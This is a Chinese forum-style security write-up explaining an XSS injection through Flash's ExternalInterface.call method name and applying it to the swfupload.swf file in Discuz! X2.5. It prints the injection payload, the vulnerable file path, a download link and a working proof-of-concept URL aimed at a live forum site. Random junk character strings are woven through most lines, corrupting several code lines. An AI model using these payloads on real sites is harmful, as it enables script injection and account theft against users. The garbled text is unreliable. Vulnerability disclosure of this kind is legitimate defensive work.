上回我们说1 D8 l% z# P$ a- f1 j
) {- z* u: F' P ]' j$ cflash.external.ExternalInterface.call($methodName, $parameter)" M! Y/ m( a9 Q/ i0 I
在浏览器中执行的是! [6 ^& ]% g% T$ R; @
: Y9 Y% W- k7 V: Y/ i" X F
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
9 `% G4 }7 D, N9 K1 f9 s对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
' c2 F7 d9 c' i" n3 S; o' N; L: N* u" }
flash.external.ExternalInterface.call("object."+$methodName, $parameter)1 x/ e+ V+ _- |1 ]
$methodName = a())}catch(e){alert(/xss/)}//$ U% I+ w. |9 X
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
( T2 n/ U* K( z* N* D& N6 o3 _8 G- O& H* T" U o5 k# {2 b
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }5 F" Y. M0 h/ _
" c. r3 x% T2 L9 ?$ t1 Q% a3 A
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )2 P: G+ @9 J+ _: }' X
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
/ G4 A1 V6 L4 x1 i }9 u/ u, W8 R: L1 X8 I& Q, t) e: A V
0 {! m* b: ~; O$ y! d8 k4 S3 \* A$ P) q& i/ q m" j) k
漏洞文件:upload\static\image\common\swfupload.swf
% O" E9 T. j, z, C- m. X0 X) j8 k- c, S0 C2 t+ K+ `
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf7 h" C3 D+ Z$ y8 k6 r5 j, W) a2 a
5 D3 Y4 y4 d2 V
6 l$ a! Z& u( N& X) n/ k# e漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
7 t% A `& e! Y3 g1 J; }8 E8 [+ R5 N2 N, K0 y) S
. x( n" m. J* P6 q; d+ f j
|